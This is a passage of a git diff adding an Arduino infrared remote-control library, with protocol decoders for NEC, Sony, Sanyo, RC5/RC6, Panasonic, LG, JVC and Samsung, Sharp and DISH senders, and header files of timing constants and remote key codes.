Sanyo decode"); +#endif + if (decodeSanyo(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Mitsubishi decode"); +#endif + if (decodeMitsubishi(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting RC5 decode"); +#endif + if (decodeRC5(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting RC6 decode"); +#endif + if (decodeRC6(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Panasonic decode"); +#endif + if (decodePanasonic(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting LG decode"); +#endif + if (decodeLG(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting JVC decode"); +#endif + if (decodeJVC(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting SAMSUNG decode"); +#endif + if (decodeSAMSUNG(results)) { + return DECODED; + } + // decodeHash returns a hash on any input. + // Thus, it needs to be last in the list. + // If you add any decodes, add them before this. + if (decodeHash(results)) { + return DECODED; + } + // Throw away and start over + resume(); + return ERR; +} + +// NECs have a repeat only 4 items long +long IRrecv::decodeNEC(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], NEC_HDR_MARK)) { + return ERR; + } + offset++; + // Check for repeat + if (irparams.rawlen == 4 && + MATCH_SPACE(results->rawbuf[offset], NEC_RPT_SPACE) && + MATCH_MARK(results->rawbuf[offset+1], NEC_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = NEC; + return DECODED; + } + if (irparams.rawlen < 2 * NEC_BITS + 4) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], NEC_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < NEC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], NEC_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], NEC_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], NEC_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + // Success + results->bits = NEC_BITS; + results->value = data; + results->decode_type = NEC; + return DECODED; +} + +long IRrecv::decodeSony(decode_results *results) { + long data = 0; + if (irparams.rawlen < 2 * SONY_BITS + 2) { + return ERR; + } + int offset = 0; // Dont skip first space, check its size + + // Some Sony's deliver repeats fast after first + // unfortunately can't spot difference from of repeat from two fast clicks + if (results->rawbuf[offset] < SONY_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = SANYO; + return DECODED; + } + offset++; + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SONY_HDR_MARK)) { + return ERR; + } + offset++; + + while (offset + 1 < irparams.rawlen) { + if (!MATCH_SPACE(results->rawbuf[offset], SONY_HDR_SPACE)) { + break; + } + offset++; + if (MATCH_MARK(results->rawbuf[offset], SONY_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], SONY_ZERO_MARK)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < 12) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = SONY; + return DECODED; +} + +// I think this is a Sanyo decoder - serial = SA 8650B +// Looks like Sony except for timings, 48 chars of data and time/space different +long IRrecv::decodeSanyo(decode_results *results) { + long data = 0; + if (irparams.rawlen < 2 * SANYO_BITS + 2) { + return ERR; + } + int offset = 0; // Skip first space + // Initial space + /* Put this back in for debugging - note can't use #DEBUG as if Debug on we don't see the repeat cos of the delay + Serial.print("IR Gap: "); + Serial.println( results->rawbuf[offset]); + Serial.println( "test against:"); + Serial.println(results->rawbuf[offset]); + */ + if (results->rawbuf[offset] < SANYO_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = SANYO; + return DECODED; + } + offset++; + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SANYO_HDR_MARK)) { + return ERR; + } + offset++; + + // Skip Second Mark + if (!MATCH_MARK(results->rawbuf[offset], SANYO_HDR_MARK)) { + return ERR; + } + offset++; + + while (offset + 1 < irparams.rawlen) { + if (!MATCH_SPACE(results->rawbuf[offset], SANYO_HDR_SPACE)) { + break; + } + offset++; + if (MATCH_MARK(results->rawbuf[offset], SANYO_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], SANYO_ZERO_MARK)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < 12) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = SANYO; + return DECODED; +} + +// Looks like Sony except for timings, 48 chars of data and time/space different +long IRrecv::decodeMitsubishi(decode_results *results) { + // Serial.print("?!? decoding Mitsubishi:");Serial.print(irparams.rawlen); Serial.print(" want "); Serial.println( 2 * MITSUBISHI_BITS + 2); + long data = 0; + if (irparams.rawlen < 2 * MITSUBISHI_BITS + 2) { + return ERR; + } + int offset = 0; // Skip first space + // Initial space + /* Put this back in for debugging - note can't use #DEBUG as if Debug on we don't see the repeat cos of the delay + Serial.print("IR Gap: "); + Serial.println( results->rawbuf[offset]); + Serial.println( "test against:"); + Serial.println(results->rawbuf[offset]); + */ + /* Not seeing double keys from Mitsubishi + if (results->rawbuf[offset] < MITSUBISHI_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = MITSUBISHI; + return DECODED; + } + */ + offset++; + + // Typical + // 14200 7 41 7 42 7 42 7 17 7 17 7 18 7 41 7 18 7 17 7 17 7 18 7 41 8 17 7 17 7 18 7 17 7 + + // Initial Space + if (!MATCH_MARK(results->rawbuf[offset], MITSUBISHI_HDR_SPACE)) { + return ERR; + } + offset++; + while (offset + 1 < irparams.rawlen) { + if (MATCH_MARK(results->rawbuf[offset], MITSUBISHI_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], MITSUBISHI_ZERO_MARK)) { + data <<= 1; + } + else { + // Serial.println("A"); Serial.println(offset); Serial.println(results->rawbuf[offset]); + return ERR; + } + offset++; + if (!MATCH_SPACE(results->rawbuf[offset], MITSUBISHI_HDR_SPACE)) { + // Serial.println("B"); Serial.println(offset); Serial.println(results->rawbuf[offset]); + break; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < MITSUBISHI_BITS) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = MITSUBISHI; + return DECODED; +} + + +// Gets one undecoded level at a time from the raw buffer. +// The RC5/6 decoding is easier if the data is broken into time intervals. +// E.g. if the buffer has MARK for 2 time intervals and SPACE for 1, +// successive calls to getRClevel will return MARK, MARK, SPACE. +// offset and used are updated to keep track of the current position. +// t1 is the time interval for a single bit in microseconds. +// Returns -1 for error (measured time interval is not a multiple of t1). +int IRrecv::getRClevel(decode_results *results, int *offset, int *used, int t1) { + if (*offset >= results->rawlen) { + // After end of recorded buffer, assume SPACE. + return SPACE; + } + int width = results->rawbuf[*offset]; + int val = ((*offset) % 2) ? MARK : SPACE; + int correction = (val == MARK) ? MARK_EXCESS : - MARK_EXCESS; + + int avail; + if (MATCH(width, t1 + correction)) { + avail = 1; + } + else if (MATCH(width, 2*t1 + correction)) { + avail = 2; + } + else if (MATCH(width, 3*t1 + correction)) { + avail = 3; + } + else { + return -1; + } + + (*used)++; + if (*used >= avail) { + *used = 0; + (*offset)++; + } +#ifdef DEBUG + if (val == MARK) { + Serial.println("MARK"); + } + else { + Serial.println("SPACE"); + } +#endif + return val; +} + +long IRrecv::decodeRC5(decode_results *results) { + if (irparams.rawlen < MIN_RC5_SAMPLES + 2) { + return ERR; + } + int offset = 1; // Skip gap space + long data = 0; + int used = 0; + // Get start bits + if (getRClevel(results, &offset, &used, RC5_T1) != MARK) return ERR; + if (getRClevel(results, &offset, &used, RC5_T1) != SPACE) return ERR; + if (getRClevel(results, &offset, &used, RC5_T1) != MARK) return ERR; + int nbits; + for (nbits = 0; offset < irparams.rawlen; nbits++) { + int levelA = getRClevel(results, &offset, &used, RC5_T1); + int levelB = getRClevel(results, &offset, &used, RC5_T1); + if (levelA == SPACE && levelB == MARK) { + // 1 bit + data = (data << 1) | 1; + } + else if (levelA == MARK && levelB == SPACE) { + // zero bit + data <<= 1; + } + else { + return ERR; + } + } + + // Success + results->bits = nbits; + results->value = data; + results->decode_type = RC5; + return DECODED; +} + +long IRrecv::decodeRC6(decode_results *results) { + if (results->rawlen < MIN_RC6_SAMPLES) { + return ERR; + } + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], RC6_HDR_MARK)) { + return ERR; + } + offset++; + if (!MATCH_SPACE(results->rawbuf[offset], RC6_HDR_SPACE)) { + return ERR; + } + offset++; + long data = 0; + int used = 0; + // Get start bit (1) + if (getRClevel(results, &offset, &used, RC6_T1) != MARK) return ERR; + if (getRClevel(results, &offset, &used, RC6_T1) != SPACE) return ERR; + int nbits; + for (nbits = 0; offset < results->rawlen; nbits++) { + int levelA, levelB; // Next two levels + levelA = getRClevel(results, &offset, &used, RC6_T1); + if (nbits == 3) { + // T bit is double wide; make sure second half matches + if (levelA != getRClevel(results, &offset, &used, RC6_T1)) return ERR; + } + levelB = getRClevel(results, &offset, &used, RC6_T1); + if (nbits == 3) { + // T bit is double wide; make sure second half matches + if (levelB != getRClevel(results, &offset, &used, RC6_T1)) return ERR; + } + if (levelA == MARK && levelB == SPACE) { // reversed compared to RC5 + // 1 bit + data = (data << 1) | 1; + } + else if (levelA == SPACE && levelB == MARK) { + // zero bit + data <<= 1; + } + else { + return ERR; // Error + } + } + // Success + results->bits = nbits; + results->value = data; + results->decode_type = RC6; + return DECODED; +} +long IRrecv::decodePanasonic(decode_results *results) { + unsigned long long data = 0; + int offset = 1; + + if (!MATCH_MARK(results->rawbuf[offset], PANASONIC_HDR_MARK)) { + return ERR; + } + offset++; + if (!MATCH_MARK(results->rawbuf[offset], PANASONIC_HDR_SPACE)) { + return ERR; + } + offset++; + + // decode address + for (int i = 0; i < PANASONIC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset++], PANASONIC_BIT_MARK)) { + return ERR; + } + if (MATCH_SPACE(results->rawbuf[offset],PANASONIC_ONE_SPACE)) { + data = (data << 1) | 1; + } else if (MATCH_SPACE(results->rawbuf[offset],PANASONIC_ZERO_SPACE)) { + data <<= 1; + } else { + return ERR; + } + offset++; + } + results->value = (unsigned long)data; + results->panasonicAddress = (unsigned int)(data >> 32); + results->decode_type = PANASONIC; + results->bits = PANASONIC_BITS; + return DECODED; +} + +long IRrecv::decodeLG(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], LG_HDR_MARK)) { + return ERR; + } + offset++; + if (irparams.rawlen < 2 * LG_BITS + 1 ) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], LG_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < LG_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], LG_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], LG_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], LG_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + //Stop bit + if (!MATCH_MARK(results->rawbuf[offset], LG_BIT_MARK)){ + return ERR; + } + // Success + results->bits = LG_BITS; + results->value = data; + results->decode_type = LG; + return DECODED; +} + + +long IRrecv::decodeJVC(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Check for repeat + if (irparams.rawlen - 1 == 33 && + MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK) && + MATCH_MARK(results->rawbuf[irparams.rawlen-1], JVC_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = JVC; + return DECODED; + } + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], JVC_HDR_MARK)) { + return ERR; + } + offset++; + if (irparams.rawlen < 2 * JVC_BITS + 1 ) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], JVC_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < JVC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], JVC_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], JVC_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + //Stop bit + if (!MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK)){ + return ERR; + } + // Success + results->bits = JVC_BITS; + results->value = data; + results->decode_type = JVC; + return DECODED; +} + +// SAMSUNGs have a repeat only 4 items long +long IRrecv::decodeSAMSUNG(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SAMSUNG_HDR_MARK)) { + return ERR; + } + offset++; + // Check for repeat + if (irparams.rawlen == 4 && + MATCH_SPACE(results->rawbuf[offset], SAMSUNG_RPT_SPACE) && + MATCH_MARK(results->rawbuf[offset+1], SAMSUNG_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = SAMSUNG; + return DECODED; + } + if (irparams.rawlen < 2 * SAMSUNG_BITS + 4) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], SAMSUNG_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < SAMSUNG_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], SAMSUNG_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], SAMSUNG_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], SAMSUNG_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + // Success + results->bits = SAMSUNG_BITS; + results->value = data; + results->decode_type = SAMSUNG; + return DECODED; +} + +/* ----------------------------------------------------------------------- + * hashdecode - decode an arbitrary IR code. + * Instead of decoding using a standard encoding scheme + * (e.g. Sony, NEC, RC5), the code is hashed to a 32-bit value. + * + * The algorithm: look at the sequence of MARK signals, and see if each one + * is shorter (0), the same length (1), or longer (2) than the previous. + * Do the same with the SPACE signals. Hszh the resulting sequence of 0's, + * 1's, and 2's to a 32-bit value. This will give a unique value for each + * different code (probably), for most code systems. + * + * http://arcfn.com/2010/01/using-arbitrary-remotes-with-arduino.html + */ + +// Compare two tick values, returning 0 if newval is shorter, +// 1 if newval is equal, and 2 if newval is longer +// Use a tolerance of 20% +int IRrecv::compare(unsigned int oldval, unsigned int newval) { + if (newval < oldval * .8) { + return 0; + } + else if (oldval < newval * .8) { + return 2; + } + else { + return 1; + } +} + +// Use FNV hash algorithm: http://isthe.com/chongo/tech/comp/fnv/#FNV-param +#define FNV_PRIME_32 16777619 +#define FNV_BASIS_32 2166136261 + +/* Converts the raw code values into a 32-bit hash code. + * Hopefully this code is unique for each button. + * This isn't a "real" decoding, just an arbitrary value. + */ +long IRrecv::decodeHash(decode_results *results) { + // Require at least 6 samples to prevent triggering on noise + if (results->rawlen < 6) { + return ERR; + } + long hash = FNV_BASIS_32; + for (int i = 1; i+2 < results->rawlen; i++) { + int value = compare(results->rawbuf[i], results->rawbuf[i+2]); + // Add value into the hash + hash = (hash * FNV_PRIME_32) ^ value; + } + results->value = hash; + results->bits = 32; + results->decode_type = UNKNOWN; + return DECODED; +} + +/* Sharp and DISH support by Todd Treece ( http://unionbridge.org/design/ircommand ) + +The Dish send function needs to be repeated 4 times, and the Sharp function +has the necessary repeat built in because of the need to invert the signal. + +Sharp protocol documentation: +http://www.sbprojects.com/knowledge/ir/sharp.htm + +Here are the LIRC files that I found that seem to match the remote codes +from the oscilloscope: + +Sharp LCD TV: +http://lirc.sourceforge.net/remotes/sharp/GA538WJSA + +DISH NETWORK (echostar 301): +http://lirc.sourceforge.net/remotes/echostar/301_501_3100_5100_58xx_59xx + +For the DISH codes, only send the last for characters of the hex. +i.e. use 0x1C10 instead of 0x0000000000001C10 which is listed in the +linked LIRC file. +*/ + +void IRsend::sendSharpRaw(unsigned long data, int nbits) { + enableIROut(38); + + // Sending codes in bursts of 3 (normal, inverted, normal) makes transmission + // much more reliable. That's the exact behaviour of CD-S6470 remote control. + for (int n = 0; n < 3; n++) { + for (int i = 1 << (nbits-1); i > 0; i>>=1) { + if (data & i) { + mark(SHARP_BIT_MARK); + space(SHARP_ONE_SPACE); + } + else { + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + } + } + + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + delay(40); + + data = data ^ SHARP_TOGGLE_MASK; + } +} + +// Sharp send compatible with data obtained through decodeSharp +void IRsend::sendSharp(unsigned int address, unsigned int command) { + sendSharpRaw((address << 10) | (command << 2) | 2, 15); +} + +void IRsend::sendDISH(unsigned long data, int nbits) { + enableIROut(56); + mark(DISH_HDR_MARK); + space(DISH_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & DISH_TOP_BIT) { + mark(DISH_BIT_MARK); + space(DISH_ONE_SPACE); + } + else { + mark(DISH_BIT_MARK); + space(DISH_ZERO_SPACE); + } + data <<= 1; + } +} diff --git a/libraries/PLabLib1/PLab_IRremote.h b/libraries/PLabLib1/PLab_IRremote.h new file mode 100755 index 0000000..89cdc90 --- /dev/null +++ b/libraries/PLabLib1/PLab_IRremote.h @@ -0,0 +1,149 @@ +/* + * IRremote + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.htm http://arcfn.com + * Edited by Mitra to add new controller SANYO + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) +* LG added by Darryl Smith (based on the JVC protocol) + */ + +#ifndef PLab_IRremote_h +#define PLab_IRremote_h + +// Dag Svan¾s 2015. Added codes for Keyes IR remote + +#define IR_UP 0xFF629D +#define IR_LEFT 0xFF22DD +#define IR_OK 0xFF02FD +#define IR_RIGHT 0xFFC23D +#define IR_DOWN 0xFFA857 +#define IR_1 0xFF6897 +#define IR_2 0xFF9867 +#define IR_3 0xFFB04F +#define IR_4 0xFF30CF +#define IR_5 0xFF18E7 +#define IR_6 0xFF7A85 +#define IR_7 0xFF10EF +#define IR_8 0xFF38C7 +#define IR_9 0xFF5AA5 +#define IR_STAR 0xFF42BD +#define IR_0 0xFF4AB5 +#define IR_HASH 0xFF52AD +#define IR_REPEAT 0xFFFFFFFF + +// The following are compile-time library options. +// If you change them, recompile the library. +// If DEBUG is defined, a lot of debugging output will be printed during decoding. +// TEST must be defined for the IRtest unittests to work. It will make some +// methods virtual, which will be slightly slower, which is why it is optional. +// #define DEBUG +// #define TEST + +// Results returned from the decoder +class decode_results { +public: + int decode_type; // NEC, SONY, RC5, UNKNOWN + union { // This is used for decoding Panasonic and Sharp data + unsigned int panasonicAddress; + unsigned int sharpAddress; + }; + unsigned long value; // Decoded value + int bits; // Number of bits in decoded value + volatile unsigned int *rawbuf; // Raw intervals in .5 us ticks + int rawlen; // Number of records in rawbuf. +}; + +// Values for decode_type +#define NEC 1 +#define SONY 2 +#define RC5 3 +#define RC6 4 +#define DISH 5 +#define SHARP 6 +#define PANASONIC 7 +#define JVC 8 +#define SANYO 9 +#define MITSUBISHI 10 +#define SAMSUNG 11 +#define LG 12 +#define UNKNOWN -1 + +// Decoded value for NEC when a repeat code is received +#define REPEAT 0xffffffff + +// main class for receiving IR +class IRrecv +{ +public: + IRrecv(int recvpin); + void blink13(int blinkflag); + int decode(decode_results *results); + void enableIRIn(); + void resume(); +private: + // These are called by decode + int getRClevel(decode_results *results, int *offset, int *used, int t1); + long decodeNEC(decode_results *results); + long decodeSony(decode_results *results); + long decodeSanyo(decode_results *results); + long decodeMitsubishi(decode_results *results); + long decodeRC5(decode_results *results); + long decodeRC6(decode_results *results); + long decodePanasonic(decode_results *results); + long decodeLG(decode_results *results); + long decodeJVC(decode_results *results); + long decodeSAMSUNG(decode_results *results); + long decodeHash(decode_results *results); + int compare(unsigned int oldval, unsigned int newval); + +} +; + +// Only used for testing; can remove virtual for shorter code +#ifdef TEST +#define VIRTUAL virtual +#else +#define VIRTUAL +#endif + +class IRsend +{ +public: + IRsend() {} + void sendNEC(unsigned long data, int nbits); + void sendSony(unsigned long data, int nbits); + // Neither Sanyo nor Mitsubishi send is implemented yet + // void sendSanyo(unsigned long data, int nbits); + // void sendMitsubishi(unsigned long data, int nbits); + void sendRaw(unsigned int buf[], int len, int hz); + void sendRC5(unsigned long data, int nbits); + void sendRC6(unsigned long data, int nbits); + void sendDISH(unsigned long data, int nbits); + void sendSharp(unsigned int address, unsigned int command); + void sendSharpRaw(unsigned long data, int nbits); + void sendPanasonic(unsigned int address, unsigned long data); + void sendJVC(unsigned long data, int nbits, int repeat); // *Note instead of sending the REPEAT constant if you want the JVC repeat signal sent, send the original code value and change the repeat argument from 0 to 1. JVC protocol repeats by skipping the header NOT by sending a separate code value like NEC does. + // private: + void sendSAMSUNG(unsigned long data, int nbits); + void enableIROut(int khz); + VIRTUAL void mark(int usec); + VIRTUAL void space(int usec); +} +; + +// Some useful constants + +#define USECPERTICK 50 // microseconds per clock interrupt tick +#define RAWBUF 100 // Length of raw duration buffer + +// Marks tend to be 100us too long, and spaces 100us too short +// when received due to sensor lag. +#define MARK_EXCESS 10 // DS: was 100. + +#endif diff --git a/libraries/PLabLib1/PLab_IRremoteInt.h b/libraries/PLabLib1/PLab_IRremoteInt.h new file mode 100755 index 0000000..e1fe0d4 --- /dev/null +++ b/libraries/PLabLib1/PLab_IRremoteInt.h @@ -0,0 +1,516 @@ +/* + * IRremote + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + * + * Modified by Paul Stoffregen to support other boards and timers + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#ifndef PLab_IRremoteint_h +#define PLab_IRremoteint_h + +#if defined(ARDUINO) && ARDUINO >= 100 +#include +#else +#include +#endif + + +// define which timer to use +// +// Uncomment the timer you wish to use on your board. If you +// are using another library which uses timer2, you have options +// to switch IRremote to use a different timer. + +// Arduino Mega +#if defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) + //#define IR_USE_TIMER1 // tx = pin 11 + #define IR_USE_TIMER2 // tx = pin 9 + //#define IR_USE_TIMER3 // tx = pin 5 + //#define IR_USE_TIMER4 // tx = pin 6 + //#define IR_USE_TIMER5 // tx = pin 46 + +// Teensy 1.0 +#elif defined(__AVR_AT90USB162__) + #define IR_USE_TIMER1 // tx = pin 17 + +// Teensy 2.0 +#elif defined(__AVR_ATmega32U4__) + //#define IR_USE_TIMER1 // tx = pin 14 + //#define IR_USE_TIMER3 // tx = pin 9 + #define IR_USE_TIMER4_HS // tx = pin 10 + +// Teensy 3.0 +#elif defined(__MK20DX128__) + #define IR_USE_TIMER_CMT // tx = pin 5 + +// Teensy++ 1.0 & 2.0 +#elif defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__) + //#define IR_USE_TIMER1 // tx = pin 25 + #define IR_USE_TIMER2 // tx = pin 1 + //#define IR_USE_TIMER3 // tx = pin 16 + +// Sanguino +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) + //#define IR_USE_TIMER1 // tx = pin 13 + #define IR_USE_TIMER2 // tx = pin 14 + +// Atmega8 +#elif defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) + #define IR_USE_TIMER1 // tx = pin 9 + +// Arduino Duemilanove, Diecimila, LilyPad, Mini, Fio, etc +#else + //#define IR_USE_TIMER1 // tx = pin 9 + #define IR_USE_TIMER2 // tx = pin 3 +#endif + + + +#ifdef F_CPU +#define SYSCLOCK F_CPU // main Arduino clock +#else +#define SYSCLOCK 16000000 // main Arduino clock +#endif + +#define ERR 0 +#define DECODED 1 + + +// defines for setting and clearing register bits +#ifndef cbi +#define cbi(sfr, bit) (_SFR_BYTE(sfr) &= ~_BV(bit)) +#endif +#ifndef sbi +#define sbi(sfr, bit) (_SFR_BYTE(sfr) |= _BV(bit)) +#endif + +// Pulse parms are *50-100 for the Mark and *50+100 for the space +// First MARK is the one after the long gap +// pulse parameters in usec +#define NEC_HDR_MARK 9000 +#define NEC_HDR_SPACE 4500 +#define NEC_BIT_MARK 560 +#define NEC_ONE_SPACE 1600 +#define NEC_ZERO_SPACE 560 +#define NEC_RPT_SPACE 2250 + +#define SONY_HDR_MARK 2400 +#define SONY_HDR_SPACE 600 +#define SONY_ONE_MARK 1200 +#define SONY_ZERO_MARK 600 +#define SONY_RPT_LENGTH 45000 +#define SONY_DOUBLE_SPACE_USECS 500 // usually ssee 713 - not using ticks as get number wrapround + +// SA 8650B +#define SANYO_HDR_MARK 3500 // seen range 3500 +#define SANYO_HDR_SPACE 950 // seen 950 +#define SANYO_ONE_MARK 2400 // seen 2400 +#define SANYO_ZERO_MARK 700 // seen 700 +#define SANYO_DOUBLE_SPACE_USECS 800 // usually ssee 713 - not using ticks as get number wrapround +#define SANYO_RPT_LENGTH 45000 + +// Mitsubishi RM 75501 +// 14200 7 41 7 42 7 42 7 17 7 17 7 18 7 41 7 18 7 17 7 17 7 18 7 41 8 17 7 17 7 18 7 17 7 + +// #define MITSUBISHI_HDR_MARK 250 // seen range 3500 +#define MITSUBISHI_HDR_SPACE 350 // 7*50+100 +#define MITSUBISHI_ONE_MARK 1950 // 41*50-100 +#define MITSUBISHI_ZERO_MARK 750 // 17*50-100 +// #define MITSUBISHI_DOUBLE_SPACE_USECS 800 // usually ssee 713 - not using ticks as get number wrapround +// #define MITSUBISHI_RPT_LENGTH 45000 + + +#define RC5_T1 889 +#define RC5_RPT_LENGTH 46000 + +#define RC6_HDR_MARK 2666 +#define RC6_HDR_SPACE 889 +#define RC6_T1 444 +#define RC6_RPT_LENGTH 46000 + +#define SHARP_BIT_MARK 245 +#define SHARP_ONE_SPACE 1805 +#define SHARP_ZERO_SPACE 795 +#define SHARP_GAP 600000 +#define SHARP_TOGGLE_MASK 0x3FF +#define SHARP_RPT_SPACE 3000 + +#define DISH_HDR_MARK 400 +#define DISH_HDR_SPACE 6100 +#define DISH_BIT_MARK 400 +#define DISH_ONE_SPACE 1700 +#define DISH_ZERO_SPACE 2800 +#define DISH_RPT_SPACE 6200 +#define DISH_TOP_BIT 0x8000 + +#define PANASONIC_HDR_MARK 3502 +#define PANASONIC_HDR_SPACE 1750 +#define PANASONIC_BIT_MARK 502 +#define PANASONIC_ONE_SPACE 1244 +#define PANASONIC_ZERO_SPACE 400 + +#define JVC_HDR_MARK 8000 +#define JVC_HDR_SPACE 4000 +#define JVC_BIT_MARK 600 +#define JVC_ONE_SPACE 1600 +#define JVC_ZERO_SPACE 550 +#define JVC_RPT_LENGTH 60000 + +#define LG_HDR_MARK 8000 +#define LG_HDR_SPACE 4000 +#define LG_BIT_MARK 600 +#define LG_ONE_SPACE 1600 +#define LG_ZERO_SPACE 550 +#define LG_RPT_LENGTH 60000 + +#define SAMSUNG_HDR_MARK 5000 +#define SAMSUNG_HDR_SPACE 5000 +#define SAMSUNG_BIT_MARK 560 +#define SAMSUNG_ONE_SPACE 1600 +#define SAMSUNG_ZERO_SPACE 560 +#define SAMSUNG_RPT_SPACE 2250 + + +#define SHARP_BITS 15 +#define DISH_BITS 16 + +#define TOLERANCE 25 // percent tolerance in measurements +#define LTOL (1.0 - TOLERANCE/100.) +#define UTOL (1.0 + TOLERANCE/100.) + +#define _GAP 5000 // Minimum map between transmissions +#define GAP_TICKS (_GAP/USECPERTICK) + +#define TICKS_LOW(us) (int) (((us)*LTOL/USECPERTICK)) +#define TICKS_HIGH(us) (int) (((us)*UTOL/USECPERTICK + 1)) + +// receiver states +#define STATE_IDLE 2 +#define STATE_MARK 3 +#define STATE_SPACE 4 +#define STATE_STOP 5 + +// information for the interrupt handler +typedef struct { + uint8_t recvpin; // pin for IR data from detector + uint8_t rcvstate; // state machine + uint8_t blinkflag; // TRUE to enable blinking of pin 13 on IR processing + unsigned int timer; // state timer, counts 50uS ticks. + unsigned int rawbuf[RAWBUF]; // raw data + uint8_t rawlen; // counter of entries in rawbuf +} +irparams_t; + +// Defined in IRremote.cpp +extern volatile irparams_t irparams; + +// IR detector output is active low +#define MARK 0 +#define SPACE 1 + +#define TOPBIT 0x80000000 + +#define NEC_BITS 32 +#define SONY_BITS 12 +#define SANYO_BITS 12 +#define MITSUBISHI_BITS 16 +#define MIN_RC5_SAMPLES 11 +#define MIN_RC6_SAMPLES 1 +#define PANASONIC_BITS 48 +#define JVC_BITS 16 +#define LG_BITS 28 +#define SAMSUNG_BITS 32 + + + + +// defines for timer2 (8 bits) +#if defined(IR_USE_TIMER2) +#define 